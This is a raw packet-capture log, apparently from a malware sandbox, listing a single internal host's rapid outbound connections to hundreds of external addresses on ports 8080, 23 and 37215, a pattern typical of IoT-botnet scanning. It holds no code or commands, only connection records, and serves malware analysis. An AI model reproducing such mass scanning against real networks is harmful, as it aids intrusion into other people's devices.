Nov 23, 2023 05:14:50.634051085 CET	54202	8080	192.168.2.13	62.51.156.30
Nov 23, 2023 05:14:50.634054899 CET	54202	8080	192.168.2.13	62.74.18.122
Nov 23, 2023 05:14:50.634063005 CET	54202	8080	192.168.2.13	31.3.82.187
Nov 23, 2023 05:14:50.634072065 CET	54202	8080	192.168.2.13	85.140.89.80
Nov 23, 2023 05:14:50.634085894 CET	54202	8080	192.168.2.13	62.22.4.80
Nov 23, 2023 05:14:50.634088993 CET	54202	8080	192.168.2.13	95.58.30.57
Nov 23, 2023 05:14:50.634088993 CET	54202	8080	192.168.2.13	62.206.105.205
Nov 23, 2023 05:14:50.634093046 CET	54202	8080	192.168.2.13	85.140.120.43
Nov 23, 2023 05:14:50.634099960 CET	54202	8080	192.168.2.13	85.222.20.26
Nov 23, 2023 05:14:50.634102106 CET	54202	8080	192.168.2.13	62.108.113.73
Nov 23, 2023 05:14:50.634118080 CET	54202	8080	192.168.2.13	62.107.92.56
Nov 23, 2023 05:14:50.634123087 CET	54202	8080	192.168.2.13	94.244.122.87
Nov 23, 2023 05:14:50.634124041 CET	54202	8080	192.168.2.13	62.18.141.8
Nov 23, 2023 05:14:50.634136915 CET	54202	8080	192.168.2.13	31.123.209.40
Nov 23, 2023 05:14:50.634138107 CET	54202	8080	192.168.2.13	62.199.217.14
Nov 23, 2023 05:14:50.634138107 CET	54202	8080	192.168.2.13	31.134.220.177
Nov 23, 2023 05:14:50.634146929 CET	54202	8080	192.168.2.13	94.71.15.114
Nov 23, 2023 05:14:50.634149075 CET	54202	8080	192.168.2.13	31.96.50.83
Nov 23, 2023 05:14:50.634156942 CET	54202	8080	192.168.2.13	95.177.210.235
Nov 23, 2023 05:14:50.634170055 CET	54202	8080	192.168.2.13	94.70.220.163
Nov 23, 2023 05:14:50.634172916 CET	54202	8080	192.168.2.13	94.132.113.97
Nov 23, 2023 05:14:50.634175062 CET	54202	8080	192.168.2.13	62.211.225.18
Nov 23, 2023 05:14:50.634181976 CET	54202	8080	192.168.2.13	94.157.158.69
Nov 23, 2023 05:14:50.634190083 CET	54202	8080	192.168.2.13	95.199.94.65
Nov 23, 2023 05:14:50.634198904 CET	54202	8080	192.168.2.13	62.189.237.95
Nov 23, 2023 05:14:50.634201050 CET	54202	8080	192.168.2.13	31.196.114.104
Nov 23, 2023 05:14:50.634215117 CET	54202	8080	192.168.2.13	62.182.137.192
Nov 23, 2023 05:14:50.634217978 CET	54202	8080	192.168.2.13	85.32.142.238
Nov 23, 2023 05:14:50.634222031 CET	54202	8080	192.168.2.13	94.210.228.151
Nov 23, 2023 05:14:50.634233952 CET	54202	8080	192.168.2.13	31.87.141.74
Nov 23, 2023 05:14:50.634238005 CET	54202	8080	192.168.2.13	95.56.149.123
Nov 23, 2023 05:14:50.634247065 CET	54202	8080	192.168.2.13	85.168.114.102
Nov 23, 2023 05:14:50.634258032 CET	54202	8080	192.168.2.13	95.254.215.227
Nov 23, 2023 05:14:50.634260893 CET	54202	8080	192.168.2.13	94.11.29.97
Nov 23, 2023 05:14:50.634263039 CET	54202	8080	192.168.2.13	95.44.43.157
Nov 23, 2023 05:14:50.634267092 CET	54202	8080	192.168.2.13	62.132.18.82
Nov 23, 2023 05:14:50.634279013 CET	54202	8080	192.168.2.13	94.185.165.241
Nov 23, 2023 05:14:50.634283066 CET	54202	8080	192.168.2.13	31.44.41.56
Nov 23, 2023 05:14:50.634288073 CET	54202	8080	192.168.2.13	31.173.149.160
Nov 23, 2023 05:14:50.634299040 CET	54202	8080	192.168.2.13	31.75.72.200
Nov 23, 2023 05:14:50.634299040 CET	54202	8080	192.168.2.13	94.62.178.191
Nov 23, 2023 05:14:50.634299040 CET	54202	8080	192.168.2.13	85.247.232.9
Nov 23, 2023 05:14:50.634306908 CET	54202	8080	192.168.2.13	95.124.32.176
Nov 23, 2023 05:14:50.634320021 CET	54202	8080	192.168.2.13	94.247.251.193
Nov 23, 2023 05:14:50.634329081 CET	54202	8080	192.168.2.13	62.112.240.63
Nov 23, 2023 05:14:50.634329081 CET	54202	8080	192.168.2.13	95.44.229.140
Nov 23, 2023 05:14:50.634341955 CET	54202	8080	192.168.2.13	95.106.217.255
Nov 23, 2023 05:14:50.634342909 CET	54202	8080	192.168.2.13	85.49.177.37
Nov 23, 2023 05:14:50.634355068 CET	54202	8080	192.168.2.13	85.203.208.95
Nov 23, 2023 05:14:50.634356022 CET	54202	8080	192.168.2.13	94.217.128.152
Nov 23, 2023 05:14:50.634360075 CET	54202	8080	192.168.2.13	94.42.39.198
Nov 23, 2023 05:14:50.634371042 CET	54202	8080	192.168.2.13	62.127.121.45
Nov 23, 2023 05:14:50.634385109 CET	54202	8080	192.168.2.13	95.132.13.31
Nov 23, 2023 05:14:50.634393930 CET	54202	8080	192.168.2.13	94.220.171.110
Nov 23, 2023 05:14:50.634396076 CET	54202	8080	192.168.2.13	62.21.226.70
Nov 23, 2023 05:14:50.634396076 CET	54202	8080	192.168.2.13	85.204.198.20
Nov 23, 2023 05:14:50.634397984 CET	54202	8080	192.168.2.13	85.209.103.133
Nov 23, 2023 05:14:50.634407043 CET	54202	8080	192.168.2.13	31.219.90.236
Nov 23, 2023 05:14:50.634417057 CET	54202	8080	192.168.2.13	94.172.61.74
Nov 23, 2023 05:14:50.634419918 CET	54202	8080	192.168.2.13	94.68.136.84
Nov 23, 2023 05:14:50.634427071 CET	54202	8080	192.168.2.13	31.165.79.235
Nov 23, 2023 05:14:50.634430885 CET	54202	8080	192.168.2.13	95.102.99.30
Nov 23, 2023 05:14:50.634443045 CET	54202	8080	192.168.2.13	85.22.152.193
Nov 23, 2023 05:14:50.634445906 CET	54202	8080	192.168.2.13	31.236.38.149
Nov 23, 2023 05:14:50.634453058 CET	54202	8080	192.168.2.13	62.201.205.144
Nov 23, 2023 05:14:50.634462118 CET	54202	8080	192.168.2.13	85.25.108.135
Nov 23, 2023 05:14:50.634473085 CET	54202	8080	192.168.2.13	85.15.167.67
Nov 23, 2023 05:14:50.634473085 CET	54202	8080	192.168.2.13	95.237.242.53
Nov 23, 2023 05:14:50.634480953 CET	54202	8080	192.168.2.13	95.10.42.144
Nov 23, 2023 05:14:50.634481907 CET	54202	8080	192.168.2.13	95.131.105.78
Nov 23, 2023 05:14:50.634480953 CET	54202	8080	192.168.2.13	94.77.123.60
Nov 23, 2023 05:14:50.634485960 CET	54202	8080	192.168.2.13	95.53.20.136
Nov 23, 2023 05:14:50.634499073 CET	54202	8080	192.168.2.13	62.171.73.136
Nov 23, 2023 05:14:50.634509087 CET	54202	8080	192.168.2.13	31.59.138.236
Nov 23, 2023 05:14:50.634509087 CET	54202	8080	192.168.2.13	62.255.70.0
Nov 23, 2023 05:14:50.634509087 CET	54202	8080	192.168.2.13	31.106.44.227
Nov 23, 2023 05:14:50.634510994 CET	54202	8080	192.168.2.13	94.236.38.196
Nov 23, 2023 05:14:50.634516954 CET	54202	8080	192.168.2.13	31.245.39.149
Nov 23, 2023 05:14:50.634521008 CET	54202	8080	192.168.2.13	62.107.83.156
Nov 23, 2023 05:14:50.634536982 CET	54202	8080	192.168.2.13	95.72.247.106
Nov 23, 2023 05:14:50.634541988 CET	54202	8080	192.168.2.13	31.115.64.71
Nov 23, 2023 05:14:50.634546041 CET	54202	8080	192.168.2.13	85.251.134.171
Nov 23, 2023 05:14:50.634547949 CET	54202	8080	192.168.2.13	31.184.1.23
Nov 23, 2023 05:14:50.634555101 CET	54202	8080	192.168.2.13	94.32.202.52
Nov 23, 2023 05:14:50.634561062 CET	54202	8080	192.168.2.13	85.181.54.224
Nov 23, 2023 05:14:50.634561062 CET	54202	8080	192.168.2.13	62.123.147.77
Nov 23, 2023 05:14:50.634579897 CET	54202	8080	192.168.2.13	85.156.176.7
Nov 23, 2023 05:14:50.634581089 CET	54202	8080	192.168.2.13	85.78.194.41
Nov 23, 2023 05:14:50.634581089 CET	54202	8080	192.168.2.13	94.99.183.85
Nov 23, 2023 05:14:50.634596109 CET	54202	8080	192.168.2.13	62.147.55.200
Nov 23, 2023 05:14:50.634596109 CET	54202	8080	192.168.2.13	31.221.181.138
Nov 23, 2023 05:14:50.634601116 CET	54202	8080	192.168.2.13	85.137.203.230
Nov 23, 2023 05:14:50.634604931 CET	54202	8080	192.168.2.13	85.90.17.91
Nov 23, 2023 05:14:50.634609938 CET	54202	8080	192.168.2.13	94.200.126.32
Nov 23, 2023 05:14:50.634613991 CET	54202	8080	192.168.2.13	94.189.195.142
Nov 23, 2023 05:14:50.634629965 CET	54202	8080	192.168.2.13	94.182.16.121
Nov 23, 2023 05:14:50.634634972 CET	54202	8080	192.168.2.13	62.182.208.49
Nov 23, 2023 05:14:50.634644985 CET	54202	8080	192.168.2.13	62.167.228.251
Nov 23, 2023 05:14:50.634649038 CET	54202	8080	192.168.2.13	62.50.48.131
Nov 23, 2023 05:14:50.634654999 CET	54202	8080	192.168.2.13	94.150.84.253
Nov 23, 2023 05:14:50.634660006 CET	54202	8080	192.168.2.13	85.154.202.205
Nov 23, 2023 05:14:50.634660959 CET	54202	8080	192.168.2.13	94.101.109.164
Nov 23, 2023 05:14:50.634660959 CET	54202	8080	192.168.2.13	31.13.181.144
Nov 23, 2023 05:14:50.634668112 CET	54202	8080	192.168.2.13	85.113.238.250
Nov 23, 2023 05:14:50.634674072 CET	54202	8080	192.168.2.13	95.85.207.126
Nov 23, 2023 05:14:50.634675026 CET	54202	8080	192.168.2.13	62.2.69.53
Nov 23, 2023 05:14:50.634675980 CET	54202	8080	192.168.2.13	94.160.237.197
Nov 23, 2023 05:14:50.634687901 CET	54202	8080	192.168.2.13	31.16.216.218
Nov 23, 2023 05:14:50.634687901 CET	54202	8080	192.168.2.13	94.187.241.5
Nov 23, 2023 05:14:50.634701014 CET	54202	8080	192.168.2.13	62.129.3.52
Nov 23, 2023 05:14:50.634706974 CET	54202	8080	192.168.2.13	31.242.68.169
Nov 23, 2023 05:14:50.634721994 CET	54202	8080	192.168.2.13	31.71.224.177
Nov 23, 2023 05:14:50.634727001 CET	54202	8080	192.168.2.13	94.230.241.46
Nov 23, 2023 05:14:50.634730101 CET	54202	8080	192.168.2.13	31.90.107.9
Nov 23, 2023 05:14:50.634737968 CET	54202	8080	192.168.2.13	85.180.185.96
Nov 23, 2023 05:14:50.634747028 CET	54202	8080	192.168.2.13	94.141.180.165
Nov 23, 2023 05:14:50.634747028 CET	54202	8080	192.168.2.13	95.59.230.45
Nov 23, 2023 05:14:50.634751081 CET	54202	8080	192.168.2.13	95.123.106.89
Nov 23, 2023 05:14:50.634764910 CET	54202	8080	192.168.2.13	62.119.244.53
Nov 23, 2023 05:14:50.634766102 CET	54202	8080	192.168.2.13	95.28.226.210
Nov 23, 2023 05:14:50.634767056 CET	54202	8080	192.168.2.13	85.145.162.10
Nov 23, 2023 05:14:50.634772062 CET	54202	8080	192.168.2.13	31.82.171.29
Nov 23, 2023 05:14:50.634787083 CET	54202	8080	192.168.2.13	62.40.177.94
Nov 23, 2023 05:14:50.634788036 CET	54202	8080	192.168.2.13	95.76.156.138
Nov 23, 2023 05:14:50.634790897 CET	54202	8080	192.168.2.13	85.101.143.6
Nov 23, 2023 05:14:50.634793997 CET	54202	8080	192.168.2.13	95.38.127.139
Nov 23, 2023 05:14:50.634793997 CET	54202	8080	192.168.2.13	62.29.104.3
Nov 23, 2023 05:14:50.634803057 CET	54202	8080	192.168.2.13	31.107.109.146
Nov 23, 2023 05:14:50.634814024 CET	54202	8080	192.168.2.13	85.19.107.91
Nov 23, 2023 05:14:50.634814978 CET	54202	8080	192.168.2.13	31.90.15.82
Nov 23, 2023 05:14:50.634819984 CET	54202	8080	192.168.2.13	95.209.19.9
Nov 23, 2023 05:14:50.634823084 CET	54202	8080	192.168.2.13	85.166.88.145
Nov 23, 2023 05:14:50.634823084 CET	54202	8080	192.168.2.13	94.33.24.126
Nov 23, 2023 05:14:50.634823084 CET	54202	8080	192.168.2.13	94.97.112.54
Nov 23, 2023 05:14:50.634840965 CET	54202	8080	192.168.2.13	31.129.47.117
Nov 23, 2023 05:14:50.634841919 CET	54202	8080	192.168.2.13	31.216.225.132
Nov 23, 2023 05:14:50.634845972 CET	54202	8080	192.168.2.13	94.225.180.177
Nov 23, 2023 05:14:50.634845972 CET	54202	8080	192.168.2.13	31.200.111.112
Nov 23, 2023 05:14:50.634859085 CET	54202	8080	192.168.2.13	62.129.228.140
Nov 23, 2023 05:14:50.634865046 CET	54202	8080	192.168.2.13	94.2.59.255
Nov 23, 2023 05:14:50.634869099 CET	54202	8080	192.168.2.13	62.255.32.138
Nov 23, 2023 05:14:50.634884119 CET	54202	8080	192.168.2.13	95.173.207.146
Nov 23, 2023 05:14:50.634884119 CET	54202	8080	192.168.2.13	62.145.185.99
Nov 23, 2023 05:14:50.634888887 CET	54202	8080	192.168.2.13	31.169.78.22
Nov 23, 2023 05:14:50.634890079 CET	54202	8080	192.168.2.13	94.144.108.107
Nov 23, 2023 05:14:50.634901047 CET	54202	8080	192.168.2.13	95.146.18.212
Nov 23, 2023 05:14:50.634901047 CET	54202	8080	192.168.2.13	95.126.204.128
Nov 23, 2023 05:14:50.634913921 CET	54202	8080	192.168.2.13	94.98.43.204
Nov 23, 2023 05:14:50.634928942 CET	54202	8080	192.168.2.13	62.112.69.149
Nov 23, 2023 05:14:50.634933949 CET	54202	8080	192.168.2.13	85.234.127.163
Nov 23, 2023 05:14:50.634951115 CET	54202	8080	192.168.2.13	85.105.207.132
Nov 23, 2023 05:14:50.634955883 CET	54202	8080	192.168.2.13	31.99.200.83
Nov 23, 2023 05:14:50.634955883 CET	54202	8080	192.168.2.13	95.184.47.110
Nov 23, 2023 05:14:50.634955883 CET	54202	8080	192.168.2.13	31.247.138.116
Nov 23, 2023 05:14:50.634970903 CET	54202	8080	192.168.2.13	31.189.104.125
Nov 23, 2023 05:14:50.634979963 CET	54202	8080	192.168.2.13	31.103.130.100
Nov 23, 2023 05:14:50.634988070 CET	54202	8080	192.168.2.13	31.74.220.132
Nov 23, 2023 05:14:50.634989023 CET	54202	8080	192.168.2.13	95.95.240.170
Nov 23, 2023 05:14:50.635004044 CET	54202	8080	192.168.2.13	31.165.228.200
Nov 23, 2023 05:14:50.635005951 CET	54202	8080	192.168.2.13	62.120.189.127
Nov 23, 2023 05:14:50.635015011 CET	54202	8080	192.168.2.13	31.243.12.209
Nov 23, 2023 05:14:50.635025978 CET	54202	8080	192.168.2.13	62.199.220.48
Nov 23, 2023 05:14:50.635030985 CET	54202	8080	192.168.2.13	62.10.94.18
Nov 23, 2023 05:14:50.635034084 CET	54202	8080	192.168.2.13	94.73.133.156
Nov 23, 2023 05:14:50.635042906 CET	54202	8080	192.168.2.13	95.89.217.11
Nov 23, 2023 05:14:50.635051012 CET	54202	8080	192.168.2.13	31.227.159.250
Nov 23, 2023 05:14:50.635052919 CET	54202	8080	192.168.2.13	85.150.120.89
Nov 23, 2023 05:14:50.635057926 CET	54202	8080	192.168.2.13	95.178.168.241
Nov 23, 2023 05:14:50.635070086 CET	54202	8080	192.168.2.13	95.28.187.90
Nov 23, 2023 05:14:50.635071039 CET	54202	8080	192.168.2.13	94.174.79.81
Nov 23, 2023 05:14:50.635080099 CET	54202	8080	192.168.2.13	95.67.31.80
Nov 23, 2023 05:14:50.635085106 CET	54202	8080	192.168.2.13	94.29.165.142
Nov 23, 2023 05:14:50.635086060 CET	54202	8080	192.168.2.13	85.218.136.95
Nov 23, 2023 05:14:50.635087967 CET	54202	8080	192.168.2.13	85.100.81.76
Nov 23, 2023 05:14:50.635093927 CET	54202	8080	192.168.2.13	95.71.147.71
Nov 23, 2023 05:14:50.635094881 CET	54202	8080	192.168.2.13	85.76.31.118
Nov 23, 2023 05:14:50.635102987 CET	54202	8080	192.168.2.13	31.12.145.142
Nov 23, 2023 05:14:50.635112047 CET	54202	8080	192.168.2.13	62.172.120.188
Nov 23, 2023 05:14:50.635112047 CET	54202	8080	192.168.2.13	94.93.89.207
Nov 23, 2023 05:14:50.635113955 CET	54202	8080	192.168.2.13	85.241.213.255
Nov 23, 2023 05:14:50.635129929 CET	54202	8080	192.168.2.13	95.44.134.94
Nov 23, 2023 05:14:50.635129929 CET	54202	8080	192.168.2.13	94.182.64.54
Nov 23, 2023 05:14:50.635138988 CET	54202	8080	192.168.2.13	31.70.153.56
Nov 23, 2023 05:14:50.635138988 CET	54202	8080	192.168.2.13	62.25.239.104
Nov 23, 2023 05:14:50.635158062 CET	54202	8080	192.168.2.13	85.20.94.254
Nov 23, 2023 05:14:50.635163069 CET	54202	8080	192.168.2.13	62.144.182.183
Nov 23, 2023 05:14:50.635164022 CET	54202	8080	192.168.2.13	94.237.213.161
Nov 23, 2023 05:14:50.635168076 CET	54202	8080	192.168.2.13	62.226.41.14
Nov 23, 2023 05:14:50.635169983 CET	54202	8080	192.168.2.13	94.224.57.144
Nov 23, 2023 05:14:50.635173082 CET	54202	8080	192.168.2.13	94.103.25.13
Nov 23, 2023 05:14:50.635189056 CET	54202	8080	192.168.2.13	85.194.37.182
Nov 23, 2023 05:14:50.635195017 CET	54202	8080	192.168.2.13	94.164.137.22
Nov 23, 2023 05:14:50.635209084 CET	54202	8080	192.168.2.13	62.115.32.114
Nov 23, 2023 05:14:50.635210991 CET	54202	8080	192.168.2.13	31.216.214.85
Nov 23, 2023 05:14:50.635212898 CET	54202	8080	192.168.2.13	62.114.216.147
Nov 23, 2023 05:14:50.635215044 CET	54202	8080	192.168.2.13	31.152.202.134
Nov 23, 2023 05:14:50.635224104 CET	54202	8080	192.168.2.13	31.80.3.147
Nov 23, 2023 05:14:50.635226965 CET	54202	8080	192.168.2.13	62.0.241.113
Nov 23, 2023 05:14:50.635227919 CET	54202	8080	192.168.2.13	31.252.237.68
Nov 23, 2023 05:14:50.635250092 CET	54202	8080	192.168.2.13	94.102.176.32
Nov 23, 2023 05:14:50.635250092 CET	54202	8080	192.168.2.13	62.222.221.240
Nov 23, 2023 05:14:50.635251045 CET	54202	8080	192.168.2.13	95.215.252.13
Nov 23, 2023 05:14:50.635253906 CET	54202	8080	192.168.2.13	31.143.251.168
Nov 23, 2023 05:14:50.635262966 CET	54202	8080	192.168.2.13	85.47.57.27
Nov 23, 2023 05:14:50.635262966 CET	54202	8080	192.168.2.13	31.168.53.62
Nov 23, 2023 05:14:50.635274887 CET	54202	8080	192.168.2.13	94.189.88.246
Nov 23, 2023 05:14:50.635284901 CET	54202	8080	192.168.2.13	94.44.159.144
Nov 23, 2023 05:14:50.635289907 CET	54202	8080	192.168.2.13	94.27.32.239
Nov 23, 2023 05:14:50.635289907 CET	54202	8080	192.168.2.13	95.161.121.78
Nov 23, 2023 05:14:50.635289907 CET	54202	8080	192.168.2.13	94.181.139.119
Nov 23, 2023 05:14:50.635292053 CET	54202	8080	192.168.2.13	31.177.159.109
Nov 23, 2023 05:14:50.635308027 CET	54202	8080	192.168.2.13	85.33.105.187
Nov 23, 2023 05:14:50.635308981 CET	54202	8080	192.168.2.13	62.54.44.0
Nov 23, 2023 05:14:50.635313034 CET	54202	8080	192.168.2.13	94.160.102.56
Nov 23, 2023 05:14:50.635318995 CET	54202	8080	192.168.2.13	94.222.45.83
Nov 23, 2023 05:14:50.635328054 CET	54202	8080	192.168.2.13	94.189.94.190
Nov 23, 2023 05:14:50.635329962 CET	54202	8080	192.168.2.13	85.122.173.171
Nov 23, 2023 05:14:50.635329962 CET	54202	8080	192.168.2.13	95.89.207.173
Nov 23, 2023 05:14:50.635341883 CET	54202	8080	192.168.2.13	31.169.235.173
Nov 23, 2023 05:14:50.635349035 CET	54202	8080	192.168.2.13	31.11.206.43
Nov 23, 2023 05:14:50.635351896 CET	54202	8080	192.168.2.13	95.186.83.176
Nov 23, 2023 05:14:50.635355949 CET	54202	8080	192.168.2.13	31.216.216.201
Nov 23, 2023 05:14:50.635370970 CET	54202	8080	192.168.2.13	31.201.182.180
Nov 23, 2023 05:14:50.635377884 CET	54202	8080	192.168.2.13	95.142.208.252
Nov 23, 2023 05:14:50.635380983 CET	54202	8080	192.168.2.13	85.179.54.142
Nov 23, 2023 05:14:50.635390043 CET	54202	8080	192.168.2.13	62.201.174.191
Nov 23, 2023 05:14:50.635390043 CET	54202	8080	192.168.2.13	95.221.144.52
Nov 23, 2023 05:14:50.635391951 CET	54202	8080	192.168.2.13	94.133.194.134
Nov 23, 2023 05:14:50.635391951 CET	54202	8080	192.168.2.13	31.163.131.242
Nov 23, 2023 05:14:50.635407925 CET	54202	8080	192.168.2.13	62.187.77.244
Nov 23, 2023 05:14:50.635459900 CET	57484	8080	192.168.2.13	31.200.60.86
Nov 23, 2023 05:14:50.635476112 CET	57446	8080	192.168.2.13	94.121.21.87
Nov 23, 2023 05:14:50.716093063 CET	23	55738	173.49.35.98	192.168.2.13
Nov 23, 2023 05:14:50.717981100 CET	23	55738	66.207.125.221	192.168.2.13
Nov 23, 2023 05:14:50.736757040 CET	23	55738	181.6.31.3	192.168.2.13
Nov 23, 2023 05:14:50.740482092 CET	8080	54202	94.156.250.251	192.168.2.13
Nov 23, 2023 05:14:50.780419111 CET	23	55738	81.201.135.89	192.168.2.13
Nov 23, 2023 05:14:50.789030075 CET	23	55738	185.102.47.81	192.168.2.13
Nov 23, 2023 05:14:50.792031050 CET	23	55738	81.236.218.27	192.168.2.13
Nov 23, 2023 05:14:50.793215990 CET	23	55738	185.203.190.70	192.168.2.13
Nov 23, 2023 05:14:50.801424980 CET	23	55738	192.71.144.10	192.168.2.13
Nov 23, 2023 05:14:50.803829908 CET	8080	54202	85.69.27.156	192.168.2.13
Nov 23, 2023 05:14:50.803997993 CET	54202	8080	192.168.2.13	85.69.27.156
Nov 23, 2023 05:14:50.809170961 CET	23	55738	93.33.192.250	192.168.2.13
Nov 23, 2023 05:14:50.809248924 CET	55738	23	192.168.2.13	93.33.192.250
Nov 23, 2023 05:14:50.814547062 CET	8080	54202	31.136.127.219	192.168.2.13
Nov 23, 2023 05:14:50.814606905 CET	54202	8080	192.168.2.13	31.136.127.219
Nov 23, 2023 05:14:50.816886902 CET	8080	36154	31.136.47.50	192.168.2.13
Nov 23, 2023 05:14:50.816958904 CET	36154	8080	192.168.2.13	31.136.47.50
Nov 23, 2023 05:14:50.817085028 CET	48320	8080	192.168.2.13	85.69.27.156
Nov 23, 2023 05:14:50.817114115 CET	49686	8080	192.168.2.13	31.136.127.219
Nov 23, 2023 05:14:50.817152977 CET	36154	8080	192.168.2.13	31.136.47.50
Nov 23, 2023 05:14:50.817202091 CET	36154	8080	192.168.2.13	31.136.47.50
Nov 23, 2023 05:14:50.817234039 CET	36166	8080	192.168.2.13	31.136.47.50
Nov 23, 2023 05:14:50.821857929 CET	8080	54202	85.10.193.137	192.168.2.13
Nov 23, 2023 05:14:50.822237968 CET	23	55738	212.193.50.27	192.168.2.13
Nov 23, 2023 05:14:50.833837032 CET	8080	54202	62.84.213.129	192.168.2.13
Nov 23, 2023 05:14:50.838151932 CET	23	55738	189.6.138.69	192.168.2.13
Nov 23, 2023 05:14:50.841377974 CET	8080	54202	95.234.183.30	192.168.2.13
Nov 23, 2023 05:14:50.848613024 CET	8080	54202	62.54.44.0	192.168.2.13
Nov 23, 2023 05:14:50.848632097 CET	8080	54202	62.217.237.182	192.168.2.13
Nov 23, 2023 05:14:50.854893923 CET	8080	54202	95.238.74.63	192.168.2.13
Nov 23, 2023 05:14:50.856687069 CET	8080	54202	62.2.69.53	192.168.2.13
Nov 23, 2023 05:14:50.863949060 CET	8080	54202	94.141.180.165	192.168.2.13
Nov 23, 2023 05:14:50.864696980 CET	8080	54202	95.78.164.100	192.168.2.13
Nov 23, 2023 05:14:50.865830898 CET	8080	47700	95.86.82.175	192.168.2.13
Nov 23, 2023 05:14:50.865978003 CET	47700	8080	192.168.2.13	95.86.82.175
Nov 23, 2023 05:14:50.865978003 CET	47700	8080	192.168.2.13	95.86.82.175
Nov 23, 2023 05:14:50.865977049 CET	47712	8080	192.168.2.13	95.86.82.175
Nov 23, 2023 05:14:50.865978003 CET	47700	8080	192.168.2.13	95.86.82.175
Nov 23, 2023 05:14:50.870549917 CET	23	55738	120.88.54.1	192.168.2.13
Nov 23, 2023 05:14:50.892174959 CET	8080	54202	31.173.149.160	192.168.2.13
Nov 23, 2023 05:14:50.894850969 CET	23	55738	14.80.23.60	192.168.2.13
Nov 23, 2023 05:14:50.898050070 CET	23	55738	183.113.164.242	192.168.2.13
Nov 23, 2023 05:14:50.923162937 CET	23	55738	118.107.47.147	192.168.2.13
Nov 23, 2023 05:14:50.924623013 CET	37215	54970	41.190.113.24	192.168.2.13
Nov 23, 2023 05:14:50.930591106 CET	23	55738	61.61.217.241	192.168.2.13
Nov 23, 2023 05:14:50.971210957 CET	8080	54202	85.202.128.169	192.168.2.13
Nov 23, 2023 05:14:50.995176077 CET	8080	48320	85.69.27.156	192.168.2.13
Nov 23, 2023 05:14:50.995425940 CET	48320	8080	192.168.2.13	85.69.27.156
Nov 23, 2023 05:14:50.995425940 CET	48320	8080	192.168.2.13	85.69.27.156
Nov 23, 2023 05:14:50.995425940 CET	48320	8080	192.168.2.13	85.69.27.156
Nov 23, 2023 05:14:50.995462894 CET	48328	8080	192.168.2.13	85.69.27.156
Nov 23, 2023 05:14:51.002451897 CET	8080	36166	31.136.47.50	192.168.2.13
Nov 23, 2023 05:14:51.002554893 CET	36166	8080	192.168.2.13	31.136.47.50
Nov 23, 2023 05:14:51.002587080 CET	36166	8080	192.168.2.13	31.136.47.50
Nov 23, 2023 05:14:51.003420115 CET	8080	49686	31.136.127.219	192.168.2.13
Nov 23, 2023 05:14:51.003469944 CET	49686	8080	192.168.2.13	31.136.127.219
Nov 23, 2023 05:14:51.003494978 CET	49686	8080	192.168.2.13	31.136.127.219
Nov 23, 2023 05:14:51.003508091 CET	49686	8080	192.168.2.13	31.136.127.219
Nov 23, 2023 05:14:51.003535986 CET	49694	8080	192.168.2.13	31.136.127.219
Nov 23, 2023 05:14:51.014930010 CET	23	55738	93.33.192.250	192.168.2.13
Nov 23, 2023 05:14:51.055035114 CET	8080	54202	94.44.159.144	192.168.2.13
Nov 23, 2023 05:14:51.103384972 CET	8080	47712	95.86.82.175	192.168.2.13
Nov 23, 2023 05:14:51.103425980 CET	8080	47700	95.86.82.175	192.168.2.13
Nov 23, 2023 05:14:51.103441000 CET	8080	47700	95.86.82.175	192.168.2.13
Nov 23, 2023 05:14:51.103600025 CET	47712	8080	192.168.2.13	95.86.82.175
Nov 23, 2023 05:14:51.103600025 CET	47712	8080	192.168.2.13	95.86.82.175
Nov 23, 2023 05:14:51.103684902 CET	47700	8080	192.168.2.13	95.86.82.175
Nov 23, 2023 05:14:51.107510090 CET	8080	54202	95.124.32.176	192.168.2.13
Nov 23, 2023 05:14:51.175868034 CET	8080	48328	85.69.27.156	192.168.2.13
Nov 23, 2023 05:14:51.176038027 CET	48328	8080	192.168.2.13	85.69.27.156
Nov 23, 2023 05:14:51.176038980 CET	48328	8080	192.168.2.13	85.69.27.156
Nov 23, 2023 05:14:51.342778921 CET	8080	47712	95.86.82.175	192.168.2.13
Nov 23, 2023 05:14:51.342937946 CET	47712	8080	192.168.2.13	95.86.82.175
Nov 23, 2023 05:14:51.558866978 CET	36166	8080	192.168.2.13	31.136.47.50
Nov 23, 2023 05:14:51.558868885 CET	48320	8080	192.168.2.13	85.69.27.156
Nov 23, 2023 05:14:51.590840101 CET	49686	8080	192.168.2.13	31.136.127.219
Nov 23, 2023 05:14:51.602919102 CET	54970	37215	192.168.2.13	197.240.77.237
Nov 23, 2023 05:14:51.602919102 CET	54970	37215	192.168.2.13	156.51.14.230
Nov 23, 2023 05:14:51.602920055 CET	54970	37215	192.168.2.13	197.188.124.221
Nov 23, 2023 05:14:51.602920055 CET	54970	37215	192.168.2.13	156.207.222.45
Nov 23, 2023 05:14:51.602920055 CET	54970	37215	192.168.2.13	156.30.33.179
Nov 23, 2023 05:14:51.602921963 CET	54970	37215	192.168.2.13	156.107.123.82
Nov 23, 2023 05:14:51.602920055 CET	54970	37215	192.168.2.13	41.128.152.241
Nov 23, 2023 05:14:51.602921963 CET	54970	37215	192.168.2.13	41.218.130.108
Nov 23, 2023 05:14:51.602921963 CET	54970	37215	192.168.2.13	156.66.45.255
Nov 23, 2023 05:14:51.602922916 CET	54970	37215	192.168.2.13	156.95.196.189
Nov 23, 2023 05:14:51.602925062 CET	54970	37215	192.168.2.13	197.246.80.219
Nov 23, 2023 05:14:51.602924109 CET	54970	37215	192.168.2.13	197.230.190.159
Nov 23, 2023 05:14:51.602921963 CET	54970	37215	192.168.2.13	41.95.176.243
Nov 23, 2023 05:14:51.602922916 CET	54970	37215	192.168.2.13	156.189.195.182
Nov 23, 2023 05:14:51.602925062 CET	54970	37215	192.168.2.13	41.117.1.122
Nov 23, 2023 05:14:51.602922916 CET	54970	37215	192.168.2.13	41.146.85.115
Nov 23, 2023 05:14:51.602920055 CET	54970	37215	192.168.2.13	41.221.57.84
Nov 23, 2023 05:14:51.602929115 CET	54970	37215	192.168.2.13	41.1.128.4
Nov 23, 2023 05:14:51.602925062 CET	54970	37215	192.168.2.13	156.207.129.100
Nov 23, 2023 05:14:51.602922916 CET	54970	37215	192.168.2.13	156.212.155.119
Nov 23, 2023 05:14:51.602930069 CET	54970	37215	192.168.2.13	41.208.186.91
Nov 23, 2023 05:14:51.602924109 CET	54970	37215	192.168.2.13	41.37.120.12
Nov 23, 2023 05:14:51.602930069 CET	54970	37215	192.168.2.13	41.220.66.38
Nov 23, 2023 05:14:51.602924109 CET	54970	37215	192.168.2.13	156.31.234.166
Nov 23, 2023 05:14:51.602925062 CET	54970	37215	192.168.2.13	41.170.63.60
